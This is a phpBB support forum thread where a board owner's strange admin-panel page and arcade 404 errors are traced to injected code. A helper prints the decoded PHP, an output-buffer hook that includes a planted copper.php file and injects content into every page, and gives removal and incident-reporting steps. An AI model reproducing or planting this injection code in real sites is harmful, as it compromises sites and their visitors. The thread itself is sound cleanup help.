Your thoughs on acp problem

[bart_0]

When I log into the acp and try to delete a admin log it comes a white page and in the upper left corner there are 2 boxes and under the boxes there is a authenticate button. Never had this before? I'm running 3.0.4. I am also using Jr sweets arcade mod and when I go to play a game it comes up with a 404 error. This all seemed to start at the same time about 2 days ago. I haven't install any mods or changed anything for about a week or so. The last mods I installed were php seo mixed mod rewrite followed by Zero duplicate, www prefix issue and dynamic meta tags. I have restored all the file changes back to before seo mixed mod rewrite but I still get the authenticate page in the acp when I try to delete a admin log? Also some of the arcade games still come up with a 404 error. I know you don't offer support for the mods but this blank page in the acp that wants me to authenticate bothers me? TIA

As I can't recall a box with an authenticate button such as you describe, and judging by the lack of response since you posted no one else can either, perhaps you could take a screenshot of what this looks like for us?

Additionally, providing us with more of the details from the Support Request Template would help as well.

You need to remove that line. It expands out to this:

Code: Select all

if(function_exists('ob_start') && !isset($GLOBALS['sh_no']))
{
    $GLOBALS['sh_no']=1;
    if(file_exists('/.../phpbb/arcade/gamedata/aquapearlsv32Th/data/img/copper.php'))
    {
        include_once('/.../phpbb/arcade/gamedata/aquapearlsv32Th/data/img/copper.php');
        if(function_exists('gml') && !function_exists('dgobh'))
        {
            if(!function_exists('gzdecode'))
            {
                function gzdecode($d)
                {
                    $f=ord(substr($d,3,1));
                    $h=10;
                    $e=0;
                    if($f&4)
                    {
                        $e=unpack('v',substr($d,10,2));
                        $e=$e[1];
                        $h+=2+$e;
                    }
                    if($f&8)
                    {
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&16)
                    {
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&2)
                    {
                        $h+=2;
                    }
                    $u=gzinflate(substr($d,$h));
                    if($u===FALSE)
                    {
                        $u=$d;
                    }
                    return $u;
                }
            }
            function dgobh($b)
            {
                Header('Content-Encoding: none');
                $c=gzdecode($b);
                if(preg_match('/\<body/si',$c))
                {
                    return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
                }
                else
                {
                    return gml().$c;
                }
            }
            ob_start('dgobh');
        }
    }
} 

Delete this file as well, if it exists:

Code: Select all

phpbb/arcade/gamedata/aquapearlsv32Th/data/img/copper.php

When phpbb.com comes back up, file an incident report with the access logs, database backup, and file backups. Make those backups before you delete the code and file I just listed.

I did what you said and that appears to have corrected my problems including the mysterious page I was getting in the acp. I don't understand a lot of this but was it some kinda hack attempt? Should I be concerned about anything else. That particular game has been on my site for a least a month or longer. TIA

well, it looks like someone can get to your files via that game somehow.

after you make backups of everything including any server logs that you can get from your host, I would completely remove that MOD from the board.

The MOD may not be vulnerable. Writing to a file is usually a sign of an issue with the server itself, and the arcade folder just happened to be a writable directory for him to dump a file into. The access logs will hopefully show where the issue is.

[bart_0]

The copper.php was not in the original game file I downloaded nor was it in my backup files that are about a week or so old so it had to have been put there.
